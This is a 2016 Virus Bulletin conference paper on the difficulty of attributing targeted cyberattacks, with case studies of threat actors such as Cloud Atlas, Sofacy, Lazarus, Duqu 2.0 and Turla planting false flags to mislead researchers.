Its easier than explaining that, in fact, attribution relies on a combination of fungible technical indicators, mistakes, overlaps, and luck.
Sloppy or careless operators (such as those nation-state actors who believe they can act with impunity) are wont to provide more data than they should, like debug paths and language strings, or to reuse infrastructure from previous attacks, which allows researchers to group them into a threat actor cluster.
Sometimes our luck is such that an IP address will point us at an incriminating location or we fi nd a widely reused handle rife with personal information.
Other times, there are little to no indicators pointing us in any particular direction.
Attribution is an important part of the threat intelligence (TI) process but it isnt one that can always be fulfi lled with any certainty.
Though the analysis process adapts and changes on a case-to- case basis, we can discuss the most common bases for attribution claims encountered during targeted attack research.
What follows should impress the reader as to the inexactitude and need for interpretation in every step of the attribution process.
Heaping several of these indicators together may paint a more cohesive picture but it is nonetheless a series of intuitions ideally (but not always) pointing in the same direction.
The question to keep in mind is what makes a satisfactory attribution claim?,
particularly the sort with such certainty as to justify further action (be it legislative, political, law enforcement, or retaliatory CNA)1.
Timestamps A great benefi t of the Portable Executable fi le format is the inclusion of compilation times.
Though these can be altered with ease, many samples include original timestamps.
Beyond an obvious indication of an actors longevity, timestamps allow for an understanding of specifi c campaigns as well as the evolution of an actors toolkit throughout the years.
With a large enough collection of related samples, its also possible to create a timeline of the campaign operators workday.
Where these operate in any professional setting or with any semblance of discipline, its possible to match the normal peaks and troughs of a workday and pinpoint a general timezone for their operations.
1 A topic further addressed in the fi nal section of this paper.
WAVE YOUR FALSE FLAGS BARTHOLOMEW GUERRERO-SAADE 2 VIRUS BULLETIN CONFERENCE OCTOBER 2016 Strings, debug paths, and metadata Malware binaries often include several artifacts of their construction in the form of strings and debug paths.
Even perfectly innocuous strings used to describe the normal operations of a backdoor can give away impressions of the malware authors.
The most obvious is their preferred language, particularly when it comes to rare languages in the targeted attack landscape, but also indicating language profi ciency with broken English showcasing the colloquial shortcomings of the coder.
Among these strings, a favourite of TI researchers is the debug path: a string describing the folder structure leading up to fi les from the time of development that made its way into the fi nal binary.
Debug paths most often reveal a username but may also (in the case of organized coders) reveal internal naming conventions like internal tool, project or campaign names.
Another telling resource is the presence of metadata both in malware binaries as well as dropper fi les like decoy or macro documents.
From time to time, binary resources will contain language IDs that refl ect the confi guration of the developers system in telling ways, perhaps pointing to the systems native language.
Phishing documents are also often riddled with metadata.
Disciplined actors regularly employ virtual machines with nondescript usernames and software registrations, usually refl ecting the use of pirated software with common fi le attributes or resources pointing to generic, publicly traded exploit kits.
However, metadata will occasionally include original user handles and unintentional save state information that points to the actual authors machine.
Infrastructure and backend connections A preferred method for grouping targeted attack activity together is through cataloguing of the malicious use of network infrastructure.
Command-and-control infrastructure can be costly and diffi cult to maintain, with the added complication that availability may be disrupted by researchers, law enforcement, or a spooked system administrator (in the case of compromised infrastructure).
Even well-resourced attackers have a tendency for reusing command-and-control or phishing infrastructure.
For threat intelligence teams building databases of targeted attack-related infrastructure, this is often the most telling sign of an attacker resurfacing or retooling.
In rare instances, multiple attack groups may go after the same vulnerable server (particularly with teams that insist on using compromised infrastructure rather than mounting their own) but this remains rare enough to be an outlier.
The trend at this time remains that even in cases of infrastructure reuse between teams, these occur within the same threat actor cluster (as in the case of multiple independent Chinese-speaking threat actors getting their hands on the same zero-days, some overlapping infrastructure, or sharing lateral movement tools a situation that speaks more to the tasking arrangement or community of attackers in this cluster than to a breakdown in attribution methods).
In the case of researchers with a privileged point of view, such as those working with email services, ISPs, or those providing support for a compromised server, backend connections can be a serendipitous and often telling attributory indicator.
What we mean by backend connections are connections that take place when an attacker retrieves data from an exfi ltration server or email account, prepares a staging or phishing server, or checks in on a compromised domain to assure its continued availability.
Attackers almost always use Tor or some other anonymizing service to mask this connection but mistakes happen more often than not.
The mistake will likely provide researchers with an IP or a region telling of the native operations of the attacker.
Toolkits Malware families Although even the most advanced threat actors may rely on publicly available tools, most take the time to build their toolkits and develop custom backdoors, lateral movement tools, and exploits.
Knowing the value of what theyve developed, actors will jealously guard their toolkit, thereby allowing researchers to hone in on a threat actor by the presence of a tightly controlled malware family.
In simpler terms: if Snake is present then it looks like Turla if WildPositron malware is found then its probably Lazarus, and so on.
Its important to remember that malware ownership isnt static.
Just as the malware itself develops over time, the ownership may be transferred.
It can be shared with other teams in the same cluster, developers may leave or set up their own shops, or source code may leak through a variety of circumstances.
Code reuse In cases where an actor has been exposed or has found other motivations for a top-down retooling, code reuse can indicate a relationship between currently used tools and their predecessors.
Coders can be quite lazy and even when the intention is a full retooling, malware developers will often reuse specifi c functions or pieces of code that have worked well in the past.
This means that the avid researcher or obsessive yara rule writer may be able to hone in on these traits and connect new and old campaigns, or even seemingly unrelated threat actors.
Passwords A similar circumstance applies to the reuse of passwords.
These may be the passwords to email accounts used for phishing or exfi ltration, accounts on compromised servers, or hard-coded passwords in malware components.
A recent example saw a threat actor deploying droppers with password-protected resources that contained the actual payload in an attempt to thwart sandboxes and automatic detection systems.
The hard-coded password protecting the resource was the same even when different, seemingly unrelated malware families were being dropped, thus allowing researchers to tie the two malware families to the same actor.
This also applies to hard-coded encryption keys in different malware families or campaigns.
Exploits Finally, zero-day exploits are a great source of excitement in research circles these days.
The presence of an 0-day immediately sets an actor apart from the run-of-the-mill attackers, thus justifying greater researcher involvement.
WAVE YOUR FALSE FLAGS BARTHOLOMEW GUERRERO-SAADE 3VIRUS BULLETIN CONFERENCE OCTOBER 2016 Though exploits may be repurposed or acquired from public sources, a greater emphasis on responsible disclosure has limited the availability of the latter by dissuading the release of fully developed proof-of-concept code that may aid attackers in leveraging newly discovered exploits2.
That said, many advanced attackers have exploit developers in house, with some threat actors unleashing a seemingly unlimited supply of exploits where needed.
With a given exploit being an arcane and jealously guarded weapon in the attackers arsenal, home grown implementations of an exploit allow researchers to group together diverse malware families or separate campaigns to a given cluster.
When a specifi c implementation of a zero-day appears in separate unrelated instances within a given timeframe (even long after the zero-day was identifi ed and patched), it signifi es code sharing likely pointing to the same actor or activity cluster.
Despite discussions of parallel discovery [2] of exploits by different vulnerability researchers in a given timeframe, exploit implementations differ.
However, this does not entirely discount the possibility of a double-dealing seller in the black or grey market or other unexpected threat actor interactions like exploit repurposing, as evidenced with Equation teams reuse of CVE-2013-3918 within a couple of days of its initial use by the Aurora actors [3].
One also cannot discount the nefarious possibility that a disclosed exploit repository itself has been hacked, as this represents a boon for an advanced attacker with indisputable return on investment.
Tasking A fi nal oft ignored tell of targeted attacks are the chosen targets themselves as they represent the intent propelling forward a well resourced espionage operation.
Though many indicators may be faked or altered, the dynamic between attacker and victim is harder to hide or directly manipulate as it involves real-world publicly known circumstances or geopolitical confl icts.
The threat intelligence space represents an unprecedented circumstance in which an unrelated third party with an unexpected vantage point can have situational awareness over large swathes of the targets of a secretive intelligence organization.
For research teams with gifted analysts, this insight allows for attacker profi ling.
A possible outcome is the mapping of a campaign to a geopolitical or regional situation that may point in the direction of a given perpetrating organization or nation.
Or in the case of a resurgent retooled threat actor, witnessing them revisiting the old favourites can be a telling sign connecting a new actor with a known cluster of activity, particularly when the new attacks leverage previously pilfered insights into the victims network or pattern of life.
However, the study of tasking alone is largely interpretative and faces common pitfalls derived from cognitive biases and geopolitical oversimplifi cations, already familiar to intelligence analysts.
Further complications arise from the particularities of certain targets and attackers alike.
For example, some targets are so attractive by their very nature and position as to attract the interest of several different actors simultaneously.
Also, certain 2 An example is the quick adoption by DarkHotel of a Flash zero-day found in the reckless full release of the HackingTeam trove [1].
threat actor confi gurations break this paradigm entirely, as will be discussed further in the next section.
A CUNNING MENAGERIE IN THE WILD In order to delve into specifi c examples, we require two distinct allowances from the reader: The fi rst regards the use of attribution examples.
As should have become apparent by now, attribution claims are far from certain and often sparsely substantiated.
As part of a company and a research team that is cautious to remain attribution agnostic, we toe this line respectfully and with good reason.
In the process of discussing in-the-wild examples of manipulation of attribution leads, it may be necessary to point to commonly held beliefs or rumours as to the provenance of certain threat actors in order to showcase where the indicators falter.
We ask the reader to treat these as what they are: rumours heard through the attribution grapevine, the sort of RUMINT that associates a threat actor with a country, region, or organization.
These are not our own assertions or claims.
We remain steadfast in our conviction of the complexities of the attribution problem and would prefer not to be quoted by overzealous readers as asserting attribution claims that are not our own.
At times our own research may support these intuitions but we do not go so far as to make these attribution claims our own.
Secondly, despite the liberties provided by an academically toned industry publication, we remain bound by corporate realities, respect for the research methods of collaborators, and, most of all, legal constraints.
As such, we may not always be able to provide full disclosure of indicators involved in certain fi ndings.
As we do not seek to recreate the process of each investigation, we feel these are not vital to convey the main thrust of our argument, which is that intermediate-to-advanced threat actors are aware of attribution methods and are already attempting to manipulate researchers to expend limited resources chasing ghost leads.
Where gaps arise, let us relegate these accounts to camp fi re re-tellings among friends.
We thank the reader for these allowances, providing a lacuna between authors and content, in order to further a wider discussion about the complexities of attribution that could not happen otherwise.
On language Cloud Atlas In December 2014, Blue Coat exposed a newly discovered malware framework dubbed Inception [4, 5], which was later attributed to a new actor named Cloud Atlas [6].
Cloud Atlas is believed to have been born from a previous actor tracked as Red October [7].
Whether Cloud Atlas is the same actor or a spin-off of the original, this case posed some interesting analytical problems when it came to attribution.
The current belief is that both teams are likely Eastern European-based and most likely Russian-speaking.
Cloud Atlas may be a spin-off from the original group following confl icts arising from the annexation of Crimea in the spring of 2014.
WAVE YOUR FALSE FLAGS BARTHOLOMEW GUERRERO-SAADE 4 VIRUS BULLETIN CONFERENCE OCTOBER 2016 During the investigation of this new campaign, various oddities were discovered that seemed to disprove the belief that Cloud Atlas was Eastern European.
It was only after analysing these breadcrumbs in conjunction with each other that the determination was made that Cloud Atlas was most likely muddying the water in order to make attribution more diffi cult.
Targeting seemed to fi t the original campaign, as the majority of attacks were heavily focused on Russia, specifi cally government and diplomatic entities.
Very similar, if not identical lure documents were used in the two campaigns.
Also, the implementation of compression algorithms was nearly identical in both, with the Cloud Atlas version showing slight improvement.
But this is where the similarities stop, and the weirdness starts: One of the early lure documents discovered in this campaign pertained to Russian government offi cials but was titled in Spanish.
Further analysis of metadata from the original lure document showed it was created on a native Spanish speakers system.
Initially, this caused a bit of confusion, but it was later determined that the lure document was most likely stolen from an advisor in the Spanish Embassy in Moscow and repurposed for use in attacks.
The infrastructure used by Cloud Atlas to manage victim data and implants was also interesting.
The actors used a large pool of IP addresses in a round robin fashion to access the cloud- based provider used to host payloads and store exfi ltrated data.
Geolocation of the IP addresses showed the actors as mainly originating from South Korea.
Later analysis revealed that these IP addresses were mostly compromised home routers which contained a small proxy implant.
Focusing on language clues left behind in the malware caused further attribution issues, as confl icting indicators were peppered into the mobile implants: Arabic strings in the BlackBerry version Hindi characters in the Android version God_Save_The_Queen was found in the BlackBerry version JohnClerk was found in the project path for the iOS version The presence of these various confl icting strings in different versions of the malware could either mean that the actors borrowed code from various sources to use in their implants, or that the strings were purposely placed to misguide researchers.
During the investigation, many researchers were running the various samples found in the wild in an effort to solicit a second-stage binary from the actors.
In multiple instances, an implant was served up to researcher machines that did not fi t the typical Cloud Atlas framework.
This implant showed characteristics of malware traditionally considered Chinese and used a command-and-control domain that was inactive at the time.
The belief is that the actors recognized researcher systems in their logs and instead of serving the normal second-stage binary, they instead provided a fake, unrelated piece of malware to cause confusion.
Blue Coat researchers did an excellent job in their original paper describing the various paths attempted for attribution, only to hit a dead end or to fi nd nonsense data.
This is a great example of how certain APT actors are aware of the indicators we as researchers tend to latch onto, and are already purposely modifying those characteristics.
On tasking Wild Neutron Wild Neutron3 is a crowd favourite when it comes to complicated attribution research, complete with apocryphal tales and red herrings.
Wild Neutron fi rst rose to prominence in 2013 [8], though evidence shows the group was active as early as 2011.
Their reputation is in large part thanks to their ambitious targeting, bagging whales like Apple, Facebook, Microsoft and Twitter.
Their arsenal included multi-platform malware [9], a Java zero-day (CVE20130422), and a penchant for well-chosen watering-hole sites.
After close to a year of silence, Wild Neutron returned for a 2015 campaign, this time with a stolen digital certifi cate and a still undiscovered Flash zero-day exploit.
Throughout, attribution has been a maze of contradictory indications and false starts that continue to elude researchers.
Some of the simpler misleads are found in the Windows malware where language strings were found both in Romanian (la revedere meaning goodbye) and Russian (uspeshno, a transliteration of successfully).
Other leads include a false connection to a well known researcher, connections to apparent scam artists, investment funds, and even a seemingly successful cryptocurrency scam4.
But Wild Neutron presents a deeper challenge for analysts than this particular hodgepodge of indicators, one that speaks to the possible nature of the threat actor as a mercenary entity.
Usually a situation so convoluted would fi nd some semblance of resolution by looking at the victim spread, the sort of organizations and entities targeted by the threat actor.
In this case, the victim spread does little to assuage our uncertainty.
Looking at Wild Neutrons targeting, no one clear nexus of interest is apparent: Large company groups involved in MA Real estate companies Bitcoin-related companies Investment fi rms IT companies Healthcare companies Law fi rms Developers (iOS and Linux) With victims in over 11 countries5 and multiple verticals, we can perhaps assume several different and possibly overlapping nexuses of interest that may suggest multiple tasking entities or diverging mission imperatives.
Another noteworthy observation 3 Also known as: Morpho, Butterfl y, ZeroWing, or Jripbot.
4 These attributory hypotheses and the supporting indicators are presented in the Kaspersky Private Intel Report on Wild Neutron pushed to subscribers in July 2015.
5 Visibility courtesy of the Kaspersky Security Network (KSN) and Kaspersky sinkholes of Wild Neutron command-and-control infrastructure.
WAVE YOUR FALSE FLAGS BARTHOLOMEW GUERRERO-SAADE 5VIRUS BULLETIN CONFERENCE OCTOBER 2016 is the lack of victims in diplomatic or government institutions, a customary vertical for a threat actor of this calibre.
This stands in juxtaposition to what is presumably counterterrorism tasking with the compromise of the Ansar alMujahideen forum.
Researchers concluded that the tasking was in line with a mercenary arrangement, taking tasking from different entities and imperatives, including a fi nancial incentive to pilfer tradeable fi nancial information on mergers and acquisitions.
This type of threat actor, while unlikely to remain rare, by its very nature dismantles our ability to form a generalized attributory claim on the basis of tasking alone.
On hacktivism The following examples are not intended as a particular criticism of hacktivist tendencies themselves, but rather point to the abuse potential in the prevalence of hacktivism as a commonplace element in the Internet.
Threat actors interested in misleading the public and researchers alike with their disruptive activities stand to benefi t from doing so under the cover of a hacktivist group.
They are thereby afforded a cover of expected anonymity, plausible deniability, and the inherent legitimacy of an Internet-age societal force springing forth from a ground swell of community sentiment (even when said community is nowhere to be found).
The following two threat actors have attempted this with varying degrees of success: Lazarus6 the Weak The Lazarus Group [10] represents a cluster of activity stretching back as far as 2009.
From that time the group has engaged in a series of infamous attacks, most notably the devastating wiping attack on Sony Pictures Entertainment (SPE) in 2014.
Our fi ndings7 tied this cluster together to contain a series of malware families and campaigns suspected of sharing the same provenance but not previously technically correlated.
Looking at these different campaigns, we see a pattern emerge characterized by the use of unheard of hacktivist groups as self-assigned perpetrators of each attack.
In the case of SPE, the group was Guardians of Peace or GOP.
We are meant to believe this is an established hacktivist group despite lacking a visible presence or pedigree before or after the attack.
Similarly, the 2012 attack on the Korean newspaper JoongAng Daily [11] that reportedly disrupted operations was plastered with the motto Hacked by IsOne, an unheard of attacker.
2013 saw wiper attacks on South Korean institutions [12] using malware designed to overwrite fi les with Roman army terms HASTATI and PRINCPES8 before corrupting the drives Master Boot Record.
Interestingly, these attacks were claimed by two unheard of groups, the New Romantic Cyber Army Team and the WhoIs Team [14].
6 Also known as DarkSeoul, Operation Troy, WildPositron and TEMP.Hermit, or in relation to the malware families Destover, Duuzer, Hangman, and SpaSpe.
7 Initially presented at the 2016 Kaspersky Lab Security Analysts Summit (SAS) in collaboration with AlienVault Labs Jaime Blasco.
8 As noted by FireEye researchers, probably a misspelling of Pricipes, a term for spearmen or swordsmen [13].
Despite media coverage, the Lazarus Groups insistence on employing cover groups has done little to persuade onlookers for long as to the provenance of these attacks.
This is due, in large part, to the supposed perpetrators complete lack of pedigree or prevailing Internet presence.
Their lifespan is only that of the attack in question.
With no entity to trace, follow, or interrogate, attention quickly turns to the more obvious perpetrator of these attacks.
However, this misleading tactic has been better employed by another threat actor.
Sofacy the Strong One of the most interesting groups in recent years has been Sofacy9.
Sofacy is widely believed to belong to a Russian intelligence organization, although this is still a subject of debate.
The group has vast resources at its disposal and has produced copious numbers of zero-day exploits, especially in the last three years.
Targeting for Sofacy has changed over the years in parallel with the Russian political climate and has included foreign government agencies (intelligence, military and civilian), suspected terrorism targets, media outlets (both foreign and domestic), non-governmental organizations (NGOs), and energy-based companies to name a few.
Whats most interesting about this group is their effectiveness at conducting deception operations in an effort to afford their sponsors some level of plausible deniability.
We will address three instances in which Sofacy is believed to have employed a false front in order to mask its true intentions.
As mentioned before, due to the sensitivity of specifi c data and sources, we will not reconstruct our investigations to prove these are, in fact, acts of Sofacy, but rather present the narrative in the hope of supporting a wider debate.
CyberBerkut In March 2014, a supposedly Ukrainian-based, pro-Russian separatist group calling itself CyberBerkut rose to prominence by conducting various attacks against the Ukrainian government and other entities supporting Ukraine during the annexation of Crimea [15].
The group was extremely active in 2014 and 2015, targeting not only local Ukrainian government and infrastructure, but also NATO resources, US defence companies, and the German Bundestag to name a few.
While the group operated under the guise of being part of the larger Anonymous collective, further research has indicated that this may not have been the case.
Some researchers in the community have indicated that a connection between Sofacy and CyberBerkut exists [16], with others going as far as stating they are one and the same.
When looking at the timeline of events leading up to the annexation of Crimea and the confl ict in Donbass, one can certainly make the argument that the actions of CyberBerkut align closely with Russian interests.
On 22 February 2014, then President Viktor Yanukovych was ousted by the Ukrainian parliament.
Yanukovych eventually fl ed and later surfaced in exile in southern Russia.
Following this, on 25 February, the special police forces in Ukraine known as Berkut were dissolved by parliament.
In the following weeks, unidentifi ed gunmen, widely believed to be Russian soldiers, 9 Also known as APT28, Tsar Team and Pawn Storm, among others.
WAVE YOUR FALSE FLAGS BARTHOLOMEW GUERRERO-SAADE 6 VIRUS BULLETIN CONFERENCE OCTOBER 2016 seized control of various checkpoints and airports throughout Crimea.
Around the same time (3 March 2014), the domain cyberberkut[.
]org was created and the group made its fi rst public appearance.
Before this date, there is no known data showing that the group or its members existed in any capacity.
This becomes relevant when looking at the other examples given later in this section, as hacktivist groups tend to have some kind of history supporting their lineage.
Some of CyberBerkuts attacks also coincidentally targeted the same victims as Sofacy.
In January 2015, CyberBerkut conducted attacks against multiple German government websites, including the German Bundestag [17].
Subsequently, in May 2015, the Bundestag was also attacked by what was later confi rmed by the German government as Sofacy [18].
While it is not uncommon for two actors to target the same victim, the argument could be made that both attacks were conducted by the same actors, or possibly that some type of trade-off occurred between the two.
CyberCaliphate On 24 December 2014, a new pro-ISIS hacktivist group by the name of CyberCaliphate announced its presence by taking control of the Albuquerque Journals mobile application and broadcasting propaganda to its subscribers [19].
Then, on 12 January 2015, CyberCaliphate seized control of the United States Central Command (USCENTCOM)s Twitter and YouTube accounts [20].
In February 2015, they proceeded to compromise Newsweeks Twitter account [21] and also sent propaganda text messages to subscribers using WBOC Marylands text alert system [22].
Following these attacks, in April 2015, the group lashed out again, this time against a French television station, TV5 Monde [23], where they were able to block broadcasts for 11 stations and seize control of the TV stations social media accounts.
While initial speculation pointed to this being yet another pro-ISIS group attempting to spread their propaganda to the masses, further research turned up interesting data that potentially pointed to a Russian entity, specifi cally Sofacy, as the real culprit.
First, there was no evidence of the groups existence prior to the initial attacks in January.
As stated previously, it is not typical for a hacktivist group to have no pedigree or lineage prior to a large defacement such as USCENTCOM.
Secondly, FireEye later revealed that the IP address of the website where data from the TV5Monde hack was published was part of the same netblock of previously known Sofacy infrastructure [24].
Additionally, other sources have shown that the registrant information used to register the groups offi cial domain cyb3rc[.
]com is linked to other well-known Sofacy domains.
While the exact motivation is unknown, it is believed that CyberCaliphate was created to provide the Sofacy actors a way to conduct psychological operations against certain targets of interest while providing a level of plausible deniability.
Whatever the case may be, if it werent for a couple of small errors on the part of the actors, CyberCaliphate could have remained a useful front for their operations.
Yemen Cyber Army In the wake of the success of the CyberCaliphate campaign, another hacktivist group emerged: Yemen Cyber Army (YCA) appeared in May 2015.
As with the other two groups, YCA also had no prior history and its members were completely unknown.
They proclaim to be a hacktivist group operating out of Yemen, specifi cally supporting the Houthi movement and possessing strong anti-Saudi sentiments.
Saudi Arabia mounted a bombing effort in March 2015 against Yemen to suppress the ongoing Houthi forces that were overtaking Yemens government in Sanaa.
Shortly after this campaign in April 2015, the website of the London-based AlHayat newspaper was defaced by YCA.
Subsequently, in May 2015, the Saudi Ministry of Foreign Affairs was also hacked by YCA and thousands of internal communications were published on Wikileaks.
Many researchers currently believe YCA is an Iranian-led front to cause damage and spread propaganda against the Saudi government, but after investigating the group and its activities further, a new theory has surfaced, indicating that this is potentially another campaign orchestrated by Sofacy.
While there is no solid proof showing that this is, in fact, Sofacy and not Iran, we point to factors that may shed some light in favour of the former.
First, it is important to understand the relationship between Russia and Saudi Arabia.
Saudi is arguably one of the top nemeses of the Russian government, dating as far back as the 1980s when Saudi supported the Mujahideen during the Soviet-Afghan war.
Saudi is a key US ally in the Middle East and also allied with other countries in the region that do not hold close diplomatic relations with Moscow.
In February 2015, Saudi deployed fi ghter jets to Turkey for use in ground-based operations in Syria to support the militant opposition.
Also during this time, Russia openly accused Saudi of depressing oil prices in an effort to tank the Russian economy.
All of this speaks to the potential motive of why Russia would be very much interested in damaging the Saudi government.
Around the same time, in February 2015, Sofacy was discovered using a zero-day exploit against a select few targets, one of these being the Saudi Embassy in Ukraine.
This exploit was used in the wild only by Sofacy until April 2015, when Microsoft fi nally patched it.
The very limited use of this exploit during this time frame, combined with the fact that the Saudi Embassy was actively being targeted, shows a very real possibility that Sofacy had access to the Saudi Ministry of Foreign Affairs networks as early as February 2015.
Another interesting tie to Sofacy is a domain that was established by YCA in June 2015 (wikisaleaks[.
]com).
This domain was registered using privacy-protected services, but digging behind the protection revealed that the email registrant used for this domain was nghockengyandex.com, the same as was used to register three other domains utilized by YCA (yemenica[.
]com, yemenica[.
]org, and yemenica[.
]net).
While this specifi c registrant has never directly been tied to known Sofacy domains, the use of Yandex email accounts is a favourite for the group.
Also interesting are the nameservers used for wikisaleaks[.
]com.
This domain utilizes nameservers from WAVE YOUR FALSE FLAGS BARTHOLOMEW GUERRERO-SAADE 7VIRUS BULLETIN CONFERENCE OCTOBER 2016 orderboxdns[.
]com, which is also a highly favoured provider for Sofacy.
Further digging revealed that the domain is being hosted at 87.236.215.129.
While this IP address has never been used by Sofacy before, the subnet is also a favourite of the groups.
The following are some other IP addresses in the same subnet used by Sofacy in past attacks: 87.236.215.13 87.236.215.60 87.236.215.99 87.236.215.102 87.236.215.132 87.236.215.134 87.236.215.143 87.236.215.246 As stated above, while none of these observations represent the proverbial nail in the coffi n, in combination they strengthen the claim that Sofacy could be behind YCA, just as it has been with the prior two campaigns.
Another possibility is that Sofacy could be providing information and assistance to an Iranian- based group as they may share an interest in damaging the Saudi government.
Whatever the case, Sofacy has displayed a predilection and gift for running effective deception campaigns against targets of interest, and is likely to continue to do so.
On blame shifting The following threat actors have chosen a different tactic.
Rather than persuade researchers into thinking that their attacks are the work of a different category, lesser calibre player, these threat actors instead attempt to cast the blame onto another recognizable nation-state actor.
The attempts are presented in rising order of perceived effectiveness.
Duqu 2.0 The formidable Duqu was fi rst discovered in 2011 by CrySyS Lab and extensively researched by GReAT.
The initial notoriety of Duqu was largely due to the malwares relationship to Stuxnet, with specifi c modules displaying traits of shared development indicative of the Tilded platform.
But Duqu is most admirable for its audacity, as displayed by the choice of infecting a Hungarian digital certifi cate authority in order to solve an operational requirement.
Appreciative of GReATs admiration, as conveyed through more than half a dozen blog posts and extensive analysis, the legendary threat actor resurged by hand-delivering a vastly improved version of the malware to our doorstep.
This time around, Duqu was equipped with up to three zero-day exploits including a kernel exploit (CVE-2015-2360), memory-resident malware signed with a stolen digital certifi cate, and a unique persistence philosophy cognizant of the victim as a network rather than a collection of independent victim machines [25].
Other unwitting recipients of this gift included venues for P51 talks, industrial control systems-related companies, and telecommunications providers [26].
Duqu 2.0 is entirely modular, spanning upwards of 100 plug-in variants, with separate modules to handle specifi c operations like communications with command-and-control infrastructure and tunnelling directly into the victims LAN.
Among the latter is an NDIS fi lter driver internally named termport.sys10, whose functionality is toggled by packets that include the hard-coded magic string, romanian.antihacker in the 32-bit driver.
The 64-bit version, on the other hand, uses ugly.gorilla: a reference 10 The fi lename at time of deployment was changed to portserv.sys.
to a member of Comment Crew/APT1 [27].
Wang Dong, known by the alias Jack Wang or the handle Ugly Gorilla, was one of the fi ve PLA offi cers indicted [28] by a US grand jury in 2014 on 31 criminal counts related to computer abuse activities.
Though APT1/Comment Crew remains active to this day, presumably with Wang Dong amongst its ranks, the idea that they are behind the Duqu 2.0 attacks is patently ridiculous.
Apart from a series of attributory indicators pointing in an entirely different direction, the APT1 group would have needed to get their hands on the original Duqu source code given the structural similarities in some modules of the new platform.
The more likely explanation is that the threat actor noted the greater risk posed by a device driver (compared to the memory-resident modules) and peppered some false fl ags to misguide incident responders.
By citing a publicly indicted member of a well known and widely reported APT crew, the Duqu developers may have mislead an IR team whose technical expertise in the area of threat intelligence amounted to Google searching binary strings with no greater awareness of the threat landscape to draw from.
TigerMilk The mysterious TigerMilk11 actor is a thus far unattributed, privately reported discovery.
The campaign started in early 2015, targeting Peruvian institutions and entities exclusively for a period of six months.
The attacker used a commonplace exploit (CVE-2012-0158) in conjunction with a curriculum vitae stolen from a local victim in order to infect users with custom credential-stealing malware.
The position-independent backdoor was injected into processes like explorer.exe and various browsers.
In 64-bit systems, the malware would spawn a separate desktop with its own infected explorer.exe to avoid suspicion.
However, in operation the malware was clunky and caused perceptible instability so neither the development nor the intended functionality were indicative of a sophisticated actor.
So why mention TigerMilk?
The one particular feature of TigerMilk that makes it noteworthy is its use of a notorious digital certifi cate.
Every backdoor deployed is signed with the same stolen Realtek certifi cate12 as Stuxnet(.a/.b).
The samples were compiled and signed long after the certifi cates validity expired13, thereby obviating its use as a means of bypassing execution controls.
As such, the only imaginable value of signing these samples with this particular certifi cate is to fool incident responders and researchers into casting blame on the notorious Stuxnet team for an attack on Peruvian military and government institutions.
Moving beyond this basic deception, the true unresolved mystery of TigerMilk is: how did this new actor get its hands on this specifi c certifi cate?
The man behind the curtain One of the most advanced and prolifi c known threat actors is the Turla group.
They have existed in some shape or form since at 11 The private TigerMilk report was pushed to Kaspersky Intel Report subscribers in November 2015.
12 Serial number: 5e 6d dc 87 37 50 82 84 58 14 f4 42 d1 d8 2a 25.
13 12 June 2010.
WAVE YOUR FALSE FLAGS BARTHOLOMEW GUERRERO-SAADE 8 VIRUS BULLETIN CONFERENCE OCTOBER 2016 least 2006, but some speculate that their true origins may be as much as a decade earlier.
Its widely accepted that Turla is a state-sponsored actor originating from Russia.
What makes Turla so fascinating is the groups attention to detail, operational security, and advanced tactics for victim data exfi ltration.
During one specifi c incident in November 2012, the Turla group showed their willingness to engage in deception tactics when cornered.
Turla compromised a handful of victims during this campaign, but one particular European victim proved especially enticing.
The group had deployed their typical fi rst-stage malware, Wipbot, on the victims system and began their normal routine of collection and monitoring.
At some point, the victim became suspicious and decided to engage their incident response (IR) team to investigate their network and determine the source of nefarious activity.
The IR team began their normal process of surveying the system and running various investigative tools, however, they did not pull the system offl ine.
Turla became aware that they would soon be discovered.
At this point, most actors would simply uninstall their malware from the victim and move on.
Instead, Turla decided to have a bit of fun with the IR team in an attempt to cover their tracks.
They proceeded to utilize Wipbot to download and install a second-stage binary.
But this was no ordinary Turla malware, rather they installed a somewhat rare, already compiled piece of Chinese malware by the name of Quarian.
The Quarian malware communicated back with infrastructure located in Beijing, which was neither under Turlas control nor related to previous Turla operations.
They then proceeded to uninstall the Wipbot malware and erase their tracks from the victim systems.
This proved to be a great move on their part, as the IR team spent countless hours tracking down the Quarian malware and assuming the victim had been targeted by a Chinese-based APT group.
Because they used a lesser-known piece of malware, the investigators fi rst had to identify the family, then dig through the sprawling infrastructure in search of some level of attribution.
All of this work was obviously pointless and served as a fantastic smoke screen for Turlas retreat.
A COMPLICATED LANDSCAPE Beyond the particulars of an investigation or the cunning of a given actor, attribution suffers from a variety of complications ranging through varying external motivators, inherent limitations, and methodological disparities across vendors and research teams.
This merits a more high-level discussion of conditions complicating attribution in targeted attacks.
The intended takeaway is that attributory analysis is far from straightforward, largely hermeneutic, and in no way a standard practice at this time.
General complications Your sexiest attribution, please The private threat intelligence production landscape involves various intertwined forces that arise from an interplay between private industry, private and public consumers, and public attention.
Various motivations arise within this interplay, most notably that of the value of media attention and free PR, which has proven a notable motivator for the rise of threat intelligence production in the anti-malware industry.
While some TI teams have arisen out of the need for in-house elite researchers to deal with sophisticated attacks, many have followed from the realization that TI products garner heavy media attention with inherent marketing value.
Judgment for this tactic is dampened by recognition of its value in motivating the awareness and adoption of the need for mature threat intelligence in an industry where even corporate giants and leaders in technology products have been less than willing to devote even meagre resources to tackle a complex, demanding, and ever-evolving problem.
However, as is often the case with easy value-added ventures, abuse is quick to follow, as immature threat intelligence producers (often never-before-seen start-ups) have taken the stage with bombastic, absurd, and unverifi able attribution claims for the sake of headline stories that bring their companies to momentary prominence.
These stories will serve as an excuse to approach or even extort potential victims-cum-customers whose dismayed IT teams are forced to spend precious limited resources chasing down nebulous leads for the sake of due diligence to reassure an anxious C-suite of the continued integrity of their systems, reputation and intellectual property.
These tactics have borne ephemeral fruit not only with claims of sophisticated attacks but also presumed breaches, larger-than- life credential dumps, and ghost botnets.
This is not the only case where an eager but sometimes technically nave media machine is abused to the detriment of the threat intelligence production landscape.
In an effort to foster a sense of balanced debate, media outlets have entertained any sign of contention in the research community, lending credence to doubt even where there is little ambiguity and breeding a class of pundits charitably referred to as professional cyber-truthers, who have built careers on the basis of sparsely substantiated contrarian attributory claims.
While legitimate disagreement in the research community should not be diminished, we should also acknowledge the prevalence of sniping between competing vendors, the anti-anti-malware peanut gallery, and other skeptics eager to disparage popular research at face value.
In response, larger outfi ts are increasingly adopting a closed-door approach to the distribution of threat intelligence products, or the partial withholding of signifi cant details intended solely for paying customers an approach with obvious benefi ts and latitude for expression, but one thats also prone to validation issues as the value of the research product cannot be verifi ed by qualifi ed third parties14.
